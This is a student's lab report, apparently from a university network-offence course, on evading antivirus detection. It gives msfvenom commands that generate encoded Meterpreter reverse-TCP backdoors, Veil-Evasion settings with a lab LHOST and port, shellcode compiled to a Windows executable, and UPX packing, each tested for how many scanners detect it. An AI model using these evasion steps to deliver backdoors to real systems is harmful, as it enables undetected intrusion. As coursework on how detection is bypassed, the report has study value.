• 20155310《网络对抗》免杀原理与实践


    20155310《网络对抗》免杀原理与实践

    基础问题回答

    (1)杀软是如何检测出恶意代码的?

    基于特征:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

    基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

    (2)免杀是做什么?

    免杀是不会被杀毒软件软件杀掉的病毒或木马 是病毒的制作人 为了不让病毒被识别出来 通过钻杀毒软件漏洞或者将病毒伪装成正常程序的办法 来逃避杀毒软件的查杀

    (3)免杀的基本方法有哪些?

    修改特征码:对恶意代码的特征码进行修改,比如添加一些指令,让杀软无法识别其是否为恶意代码

    加花:通过添加加花指令(一些垃圾指令,类似加1减1之类的无用语句)让杀毒软件检测不到特征码。加花可以分为加区加花和去头加花

    加壳:给原程序加上一段保护程序,有保护和加密功能,运行加壳后的文件先运行壳再运行真实文件,从而起到保护作用

    实验内容

    正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    在老师提供的virscan上上传后门进行免杀测试。


    全裸后门测试

    将未经处理过的后门直接在virscan上测试,发现裸奔的后门有19个杀软检测到了。

    利用msfvenom对裸奔的后门进行编码处理

    对全裸的后门用如下命令,进行一次编码

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b ‘x00’ LHOST=kali的ip LPORT=端口号 -f exe > 5310v1.exe
    

    然后将经过编码后的后门程序后门程序在virscan上进行免杀测试,发现有19个杀软检测到了它,并没有起到隐藏作用。

    然后我又尝试了10次编码,只用把命令中i后面的数字改为10,就能控制编码次数了。

    Veil-Evasion免杀平台

    由于用的是老师的虚拟机,所以Veil已经安装好了,直接输入veil进入免杀平台,之后依次输入以下命令来进行选择

    use evasion
     use python/meterpreter/rev_tcp.py
     set LHOST 192.168.1.105(kali IP)
    set LPORT 5310
    

    设定完成后,输入generate出现了错误,很难受,文件生成不了

    之后我看了一下有很多同学出现了同样的错误,发现将语言换成C语言即可了。

    将产生的后门复制到windows下,加入杀软的信任列表里,进行检测,发现这次隐藏得不错,只有9个杀软检测到了。

    通过回连(方法见上一次实验),成功监听

    利用shellcode编程实现免杀

    利用msf命令生成一个C语言的shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5310 -f c
    

    将上图中生成的数组加上一个主函数建立一个met_5310.c的.c文件
    随后用命令i686-w64-mingw32-g++ met_5310.c -o met_5310.exe将.c文件转换为可执行文件met_5310.exe。

    可以将可执行文件复制到windows下可以检测一下它的隐蔽性,然而一复制就被我的电脑管家拦截了,授予信任后检测发现仍然有9个杀软检测到了它。

    通过C语言调用Shellcode

    将shellcode拷到windows下,按老师的方法编写成.C文件通过VS编译运行得到的exe,可以回连到kali,报毒率也还可以,但是并没有低多少。

    回连

    1.4加壳

    1.4.1UPX加壳

    用下面的命令来加这个压缩壳

    upx myl.exe -o 马英林-10.exe

    成功之后结果如下

    继续viruscan检测一下

    离实战还缺些什么技术或步骤?

    我觉得我的技术很浅显,缺乏联系和伪装。

    实践总结与体会

    本次实验极其难受。首先在下载veil时虚拟机崩溃,再三尝试后只得拷了一个虚拟机。
    但同时本次实验对我启发极大,以后一定要注意电脑的情况,及时进行查杀。

  • 相关阅读:
    Spring 由哪些模块组成?
    spring 支持哪些 ORM 框架 ?
    @Autowired 注解有什么用?
    spring JDBC API 中存在哪些类?
    有哪些类型的通知(Advice)?
    @Component, @Controller, @Repository, @Service 有何区别?
    @Qualifier 注解有什么用?
    什么是 Aspect?
    什么是通知(Advice)?
    spring bean 容器的生命周期是什么样的?
  • 原文地址:https://www.cnblogs.com/m20155310/p/8796099.html
Copyright © 2020-2023  润新知